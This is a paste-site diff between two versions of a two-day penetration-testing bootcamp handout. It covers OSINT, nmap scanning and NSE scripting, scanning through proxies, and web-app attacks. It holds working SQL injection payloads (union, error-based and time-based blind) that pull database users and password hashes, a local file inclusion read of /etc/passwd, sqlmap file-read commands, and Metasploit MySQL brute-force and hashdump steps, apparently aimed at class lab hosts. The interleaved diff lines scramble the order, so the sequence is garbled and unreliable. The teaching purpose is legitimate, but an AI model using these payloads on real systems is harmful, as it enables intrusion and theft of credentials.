View difference between Paste ID: hGkxTqV6 and 4EEeEnXe

 ########################################
-# Ultimate Penetration Testing         #
+# Pentesting 2-Day Bootcamp            #
 # By Joe McCray of Strategic Security  #
 ########################################
 
 
 
 #############################
-# Class Virtual Machine #
+# Here are the class videos #
 #############################
 Day 1: Class video
 https://s3.amazonaws.com/StrategicSec-Videos/2016/NovemberBundle/2016-11-21+09.28+Pentester+2-Day+Bootcamp+2016.mp4
 
 Day 2: Class video
-https://s3-us-west-2.amazonaws.com/infosecaddicts/InfoSecAddictsVM.zip
+
-user:      infosecaddicts
+
-pass:      infosecaddicts
+
 
 Here is the VMWare virtual machine for the class:
 
 https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
 
 user: strategicsec
-# Day 1: OSINT #
+
 pass: strategicsec
-OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the entire planet but I want you to do some Open Source Intelligence (OSINT) first.
+
-Here is an an OSINT report that I did for a customer of mine a few years ago:
+
-https://s3.amazonaws.com/infosecaddicts-Files/OSINT_Innophos_11242010.doc
+
 
-Let's see if you can do a better one than me....
+
 ################
 # Day 1: Recon #
-Here are a few places to start:
+
 
-- Wikipedia Page
+
-    - Are they Public or Private?
+
-    - Does the target have any subsidiaries?
+
 cd ~/toolz/
-- Robtex
+
-    - Show system map
+
 
-- Netcraft
+sudo apt-get install -y python-pyasn1 python-pyasn1-modules
-    - http://toolbar.netcraft.com/site_report
+
 git clone https://github.com/laramies/theHarvester.git
-- Passive Recon (Firefox Add-on)
+
 cd theHarvester/
 
 python theHarvester.py
 
-Your first task:
+
 
-Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment against any one of the following companies:
+
-NSA
+
-HSBC
+
-Coke
+
-Exxon Mobil
+
-KPMG
+
-Accenture
+
-NewYork-Presbyterian Hospital
+
-Kroger
+
-Dillard's
+
-Royal Caribbean International
+
 -------------------------
 cd ~/toolz/
 
-Tools that are good for OSINT:
+sudo apt-get install -y python-pip
-------------------------------
+     strategicsec
-Here are some tools that I think you should consider using for this challenge:
+
-FOCA
+
-Maltego
+     strategicsec
-Search Diggity
+
-ShodanHQ
+
-PassiveRecon
+
-EDGAR
+
-theHarvester
+
-gxfr.py
+
-VisualRoute
+
 
 
 
 
 
-********************************** Begin Day 1 Homework Part 1 **********************************
+
-NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
+
 
 -d : I used another domain name aside from Google.com to make it work
-You must create a MS WORD document titled 'FirstName-LastName-Ultimate-Pentesting-Day1-OSINT-Report.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-OSINT-Report.docx).
+
 -l : I limited the search result to 100 to make the process faster
 -n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster
 -o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
 -f : Save the html links to html_links_<TIMESTAMP>.txt file
-Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
+
 
 
-********************************** End Day 1 Homework Part 1 **********************************
+
 
 
 Github Info Harvesting
 ----------------------
 cd ~/toolz/
 
 sudo pip install gitem
 	strategicsec
 
 gitem organization facebook
 
-sudo apt install -y python-pyasn1 python-pyasn1-modules
+
-     infosecaddicts
+
 
 
 gitem --processes 4 user zpao
 
 
 
 
 Network Topology Enumeration
 ----------------------------
 
 cd ~/toolz/
 
 wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
 
 python gxfr.py --bxfr --dns-lookup -o
 	motorola.com
 	[ press enter ]
 	cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
 
 
 
 
 cd ~/toolz/
-sudo apt install -y python-pip
+
-     infosecaddicts
+sudo rm -rf fierce2/
 	strategicsec
 
-     infosecaddicts
+
 
 cd fierce
 
 sudo apt-get install -y python3-pip
 	strategicsec
 
 sudo pip3 install -r requirements.txt
 	strategicsec
-exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
+
 python3 fierce.py -h
 
 python3 fierce.py --domain facebook.com --subdomains accounts admin ads
 Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag:
 
 python3 fierce.py --domain facebook.com --subdomains admin --traverse 10
 
 
 Limit nearby IP traversal to certain domains with the --search flag:
 
 python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
 
 
 Attempt an HTTP connection on domains discovered with the --connect flag:
 
 python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
 
 
 
 
 
 Find Web Servers
 ---------------
 
 cd ~/toolz/
-	infosecaddicts
+
 for i in $(seq 1 254); do echo "144.188.128.$i" >> motorola-IPs.txt; done
 
 
 
 wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/web-service-finder.sh
 
 sh web-service-finder.sh motorola-IPs.txt
 
 
 
 
 
 
 Recon-NG (Metasploit for Recon):
 --------------------------------
 cd ~/toolz/
 
 sudo apt-get install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
 	strategicsec
 
 sudo pip install dicttoxml
 	strategicsec
 
 
 
 git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
 cd recon-ng
 ./recon-ng
 
-rm -rf fierce2/
+
 
 At the prompt, let's type help in order to look at the commands we can use in Recon-ng.
 
 recon-ng > help
 
-sudo apt install -y python3-pip
+
-	infosecaddicts
+
 
 recon-ng > [ TAB ] [ TAB ]
 
 
 
-python3 fierce.py --domain motorola.com --subdomains accounts admin ads
+
 
 recon-ng > show [ TAB ] [ TAB ]
 
 
 
 Ok, let's drive this thing....
 
 recon-ng > show banner
 
 recon-ng > show companies
 
 recon-ng > show contacts
 
 recon-ng > show credentials
 
 recon-ng > show dashboard
 
 recon-ng > show domains
 
 recon-ng > show hosts
 
 recon-ng > show keys
 
-sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
+
-	infosecaddicts
+
 recon-ng > show locations
 
-	infosecaddicts
+
 
 recon-ng > show netblocks
 
 recon-ng > show options
 
 recon-ng > show ports
 
 recon-ng > show profiles
 
 recon-ng > show pushpins
 
 recon-ng > show repositories
 
 recon-ng > show schema
 
 recon-ng > show vulnerabilities
 
 recon-ng > show workspaces
 
 
 
 
 
 When you have found a module that you would like to try the process is fairly straight forward.
 
 Type, “use [Modulename]” to use the module
 
 Type, “show info” to view information about the module
 
 And then, “show options” to see what variables can be set
 
 Set the option variables with “set [variable]”
 
 Finally, type “run” to execute the module
 
 
 
 
 
 
 ********************************** Begin Day 1 Homework **********************************
 NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 
 You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company.
 
 
 You must create a MS WORD document titled 'FirstName-LastName-Pentester-Bootcamp-Day1-Recon-NG.docx' (ex: Joseph-McCray-Pentester-Bootcamp-Day1-Recon-NG.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 
 Reference links:
 http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/
 http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com and kasheia@strategicsec.com) by Sunday November 27th at midnight EST.
 
 ********************************** End Day 1 Homework **********************************
 
 
 
 
 ########################
 # Scanning Methodology #
 ########################
 
 - Ping Sweep
 What's alive?
 ------------
 sudo nmap -sP 157.166.226.*
      strategicsec
 
     -if -SP yields no results try:
 sudo nmap -sL 157.166.226.*
      strategicsec
 
 sudo nmap -sL 157.166.226.* | grep com
      strategicsec
 
 - Port Scan
 What's where?
 ------------
 sudo nmap -sS 162.243.126.247
      strategicsec
 
 
 - Bannergrab/Version Query
 What versions of software are running
 -------------------------------------
 sudo nmap -sV 162.243.126.247
      strategicsec
 
 
 - Vulnerability Research
-You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Recon-NG.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Recon-NG.docx).
+
 ----------------------------------------------
 http://exploit-db.com
 http://securityfocus.com/bid
 https://packetstormsecurity.com/files/tags/exploit/
 
 
 
 #######################################################
 # Day 1: 3rd Party Scanning, and scanning via proxies #
-Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
+
 
 https://www.shodan.io/
 
     Create a FREE account and login
 
     net:129.188.8.0/24
 
 
 
 cd /home/strategicsec/toolz/
 perl proxyfinder-0.3.pl multiproxy 3 proxies.txt    <-- This takes a long time to run
 
 
 
-     infosecaddicts
+
      strategicsec
 
 
 
-     infosecaddicts
+
 ----------------------------------------------------------------------
 vi ~/toolz/fix-proxychains-dns.sh
-     infosecaddicts
+
 #!/bin/bash
 # This script is called by proxychains to resolve DNS names
 # DNS server used to resolve names
 # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
 DNS_SERVER=4.2.2.2
-     infosecaddicts
+
 if [ $# = 0 ] ; then
 echo " usage:"
 echo " proxyresolv <hostname> "
 exit
 fi
 
-     infosecaddicts
+
 dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
 -----------------------------------------------------------------------
 
 
 sudo ntpdate pool.ntp.org
      strategicsec
 
 tor-resolve strategicsec.com
 
 proxychains nmap -sT -p80 162.243.126.247
 
 proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247
 
 
 
 
 
 
 
 #########################
 # Playing with Nmap NSE #
 #########################
 
-cd /home/infosecaddicts/toolz/
+nmap -Pn -p80 --script ip-geolocation-* strategicsec.com
 
 nmap -p80 --script dns-brute strategicsec.com
 
 nmap --script http-robtex-reverse-ip secore.info
 
-     infosecaddicts
+nmap -Pn -p80 --script=http-headers strategicsec.com
 
 
 ls /usr/share/nmap/scripts | grep http
 nmap -Pn -p80 --script=http-* strategicsec.com
 
 
 
 
 #####################################
 # Writing Your Own Nmap NSE Scripts #
 #####################################
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 -- The Rule Section --
 portrule = function(host, port)
     return port.protocol == "tcp"
             and port.number == 80
             and port.state == "open"
 end
 
 -- The Action Section --
-     infosecaddicts
+
     return "Pentester Bootcamp!"
-tor-resolve infosecaddicts.com
+
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse strategicsec.com -p 22,80,443
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
-nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com
+
 -- The Rule Section --
-nmap -p80 --script dns-brute infosecaddicts.com
+
 
 
 -- The Action Section --
-nmap -Pn -p80 --script=http-headers infosecaddicts.com
+
     return "Pentester Bootcamp!"
 end
 ----------------------------------------------------------------------
-nmap -Pn -p80 --script=http-* infosecaddicts.com
+
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse strategicsec.com -p 22,80,443
 
 
 
 
 
 
 
 OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
-    return "Ultimate Pentesting!"
+
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
     return response.status
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
+
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 
 -- The Rule Section --
 portrule = shortport.http
-    return "Ultimate Pentesting!"
+
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
-sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
+
 
     if ( response.status == 200 ) then
         return response.body
     end
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 local string = require "string"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
 
     if ( response.status == 200 ) then
         local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
         return title
     end
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 local string = require "string"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
 
     if ( response.status == 200 ) then
         local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
 
         if (title) then
             return "Vulnerable"
         else
             return "Not Vulnerable"
         end
     end
 end
 
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 ********************************** Begin Day 1 Homework Part 2 **********************************
 NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 You must take screenshots of you performing all of the scanning tasks that we have done so far today
 
 You must create a MS WORD document titled 'FirstName-LastName-Pentester-Bootcamp-Day1-Adv-Scanning.docx' (ex: Joseph-McCray-Pentester-Bootcamp-Day1-Adv-Scanning.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com and kasheia@strategicsec.com) by Sunday November 27th at midnight EST.
 
 ********************************** End Day 1 Homework Part 2 **********************************
 
 
 
 
 
 
 
 
 
 
 ##########################
 # Day 2: Web App Testing #
 ##########################
 
 
 
 
 
 #######################
 # Attacking PHP/MySQL #
 #######################
 
 Go to LAMP Target homepage
 http://54.172.112.249/
 
 
 
 Clicking on the Acer Link:
 http://54.172.112.249/acre2.php?lap=acer
 
 	- Found parameter passing (answer yes to question 1)
 	- Insert ' to test for SQLI
 
 http://54.172.112.249/acre2.php?lap=acer'
 
 
 Page returns the following error:
-********************************** Begin Day 1 Homework Part 3 **********************************
+
 
 
 
 In order to perform union-based sql injection - we must first determine the number of columns in this query.
-You must create a MS WORD document titled 'FirstName-LastName-Pentester-Ultimate-Pentesting-Day1-Adv-Scanning.docx' (ex: Joseph-McCray-Ultimate-Pentesting-Day1-Adv-Scanning.docx).
+
 http://54.172.112.249/acre2.php?lap=acer' order by 100-- +
 
 Page returns the following error:
 Unknown column '100' in 'order clause'
-Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday January 8th at midnight EST.
+
 
-********************************** End Day 1 Homework Part 3 **********************************
+
 http://54.172.112.249/acre2.php?lap=acer' order by 50-- +
 
 Page returns the following error:
 Unknown column '50' in 'order clause'
 
 
 
 http://54.172.112.249/acre2.php?lap=acer' order by 25-- +
 Page returns the following error:
 Unknown column '25' in 'order clause'
-##########
+
-# Day 2: #
+
-##########
+
 http://54.172.112.249/acre2.php?lap=acer' order by 12-- +
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
+
-Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
+
-If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
+
 
-So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
+
-https://s3.amazonaws.com/infosecaddicts-Files/Strategic-Security-2016-VPN-Info.pdf
+
 http://54.172.112.249/acre2.php?lap=acer' order by 6-- +
-sudo nmap -sP 10.0.0.0/24
+
-     infosecaddicts
+
 
-sudo nmap -sL 10.0.0.0/24
+
-     infosecaddicts
+
 
-cd ~/toolz
+
 http://www.techonthenet.com/sql/union.php
-wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
+
 
-gcc ipcrawl.c -o ipcrawl
+
 http://54.172.112.249/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
-chmod 777 ipcrawl
+
 
-./ipcrawl 10.0.0.1 10.0.0.254
+
 Now we negate the parameter value 'acer' by turning into the word 'null':
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
 
-wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
+
 
-gcc propecia.c -o propecia
+
 Use a cheat sheet for syntax:
-sudo cp propecia /bin
+
-     infosecaddicts
+
 
-propecia 10.0.0 22
+
 
-propecia 10.0.0 3389
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
+
 http://54.172.112.249/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
+
 
-nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
+
 
-#################################################
+
-# Screenshotting the Web Servers in the Network #
+
-#################################################
+
 
-mkdir labscreenshots
+
-cd labscreenshots/
+
 http://54.172.112.249/showfile.php?filename=/etc/passwd
 
-wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
+
-tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
+
-cd wkhtmltox/bin/
+
-sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
+
 
 
 Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
-git clone git://github.com/SpiderLabs/Nmap-Tools.git
+
-cd Nmap-Tools/NSE/
+
-sudo cp http-screenshot.nse /usr/share/nmap/scripts/
+
-     infosecaddicts
+-----------------Some Automated Testing from the strategicsec VM-----------------
 
-sudo nmap --script-updatedb
+
-     infosecaddicts
+
 ##################################################
 https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
-cd ~/toolz/labscreenshots/
+user: strategicsec
-sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
+pass: strategicsec
-     infosecaddicts
+
 
 
 cd /home/strategicsec/toolz/sqlmap-dev/
 
-vi screenshots.sh
+
 
 
-printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
+
-ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
+
-printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
+
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --current-db -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --privileges -v 3
 
-sh screenshots.sh
+
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --dbs -v 3
 
 
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --tables -v 3
 
-# Nmap NSE tricks to try #
+
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/issue -v 3
-sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
+
-     infosecaddicts
+
 python sqlmap.py -u "http://54.172.112.249/acre2.php?lap=acer" --file-read=/etc/passwd -v 3
-sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
+
-     infosecaddicts
+
 
-sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
+
-     infosecaddicts
+
 #############################
-sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
+
-     infosecaddicts
+
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
-sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
-     infosecaddicts
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
-sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
-     infosecaddicts
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
-sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
-     infosecaddicts
+http://54.213.252.28/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
 
-sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
+
-     infosecaddicts
+
 
-sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
+
-     infosecaddicts
+
 #############################
-sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
+http://54.213.252.28/bookdetail.aspx?id=2 order by 100--
-     infosecaddicts
+http://54.213.252.28/bookdetail.aspx?id=2 order by 50--
 http://54.213.252.28/bookdetail.aspx?id=2 order by 25--
-sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
+http://54.213.252.28/bookdetail.aspx?id=2 order by 10--
-     infosecaddicts
+http://54.213.252.28/bookdetail.aspx?id=2 order by 5--
 http://54.213.252.28/bookdetail.aspx?id=2 order by 6--
-sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
+http://54.213.252.28/bookdetail.aspx?id=2 order by 7--
-     infosecaddicts
+http://54.213.252.28/bookdetail.aspx?id=2 order by 8--
 http://54.213.252.28/bookdetail.aspx?id=2 order by 9--
 http://54.213.252.28/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
-sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 10.0.0.0/24
+
-     infosecaddicts
+    We are using a union select statement because we are joining the developer's query with one of our own.
     Reference:
     http://www.techonthenet.com/sql/union.php
     The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
     It removes duplicate rows between the various SELECT statements.
 
     Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 
 http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
-##########
+
-# Day 3: #
+    Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
-##########
+
 http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
-mkdir ~/toolz/wordlists
+http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
-cd ~/toolz/wordlists
+http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
-echo dbo >> users.txt
+http://54.213.252.28/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
-echo sa >> users.txt
+
-echo admin >> users.txt
+
-echo root >> users.txt
+
-echo password >> pass.txt
+
-echo pass >> pass.txt
+
-echo hello >> pass.txt
+
-echo goodbye >> pass.txt
+http://54.213.252.28/bookdetail.aspx?id=(2)
-echo test >> pass.txt
+http://54.213.252.28/bookdetail.aspx?id=(4-2)
-echo admin >> pass.txt
+http://54.213.252.28/bookdetail.aspx?id=(4-1)
-echo db >> pass.txt
+
-echo god >> pass.txt
+
-echo 123 >> pass.txt
+
-echo letmein >> pass.txt
+http://54.213.252.28/bookdetail.aspx?id=2 or 1=1--
 http://54.213.252.28/bookdetail.aspx?id=2 or 1=2--
 http://54.213.252.28/bookdetail.aspx?id=1*1
 http://54.213.252.28/bookdetail.aspx?id=2 or 1 >-1#
 http://54.213.252.28/bookdetail.aspx?id=2 or 1<99#
 http://54.213.252.28/bookdetail.aspx?id=2 or 1<>1#
 http://54.213.252.28/bookdetail.aspx?id=2 or 2 != 3--
 http://54.213.252.28/bookdetail.aspx?id=2 &0#
-# Attacking Databases #
+
 
-Attacking MySQL with Metasploit
+
 
-cd ~/toolz/metasploit
+
 ###############################
-./msfconsole
+
 ###############################
-use auxiliary/scanner/mysql/mysql_version
+
-set RHOSTS 10.0.0.59
+
-run
+
 http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
-use auxiliary/scanner/mysql/mysql_login
+http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
-set RHOSTS 10.0.0.59
+http://54.213.252.28/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
-set USER_FILE /home/infosecaddicts/toolz/wordlists/users.txt
+
-set PASS_FILE /home/infosecaddicts/toolz/wordlists/pass.txt
+
-run
+http://54.213.252.28/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
 
-use auxiliary/admin/mysql/mysql_enum
+
-set RHOST 10.0.0.59
+
-set USERNAME root
+
-run
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
-use auxiliary/scanner/mysql/mysql_hashdump
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
-set RHOSTS 10.0.0.59
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--  (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
-set USERNAME root
+
-run
+
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-exit -y
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
 
 O - 3rd Character
-$ mysql -h 10.0.0.59 -u root -p
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'--   Ok, good it waited for 10 seconds
-show databases;
+http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
 http://54.213.252.28/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--      Ok, good it waited for 10 seconds
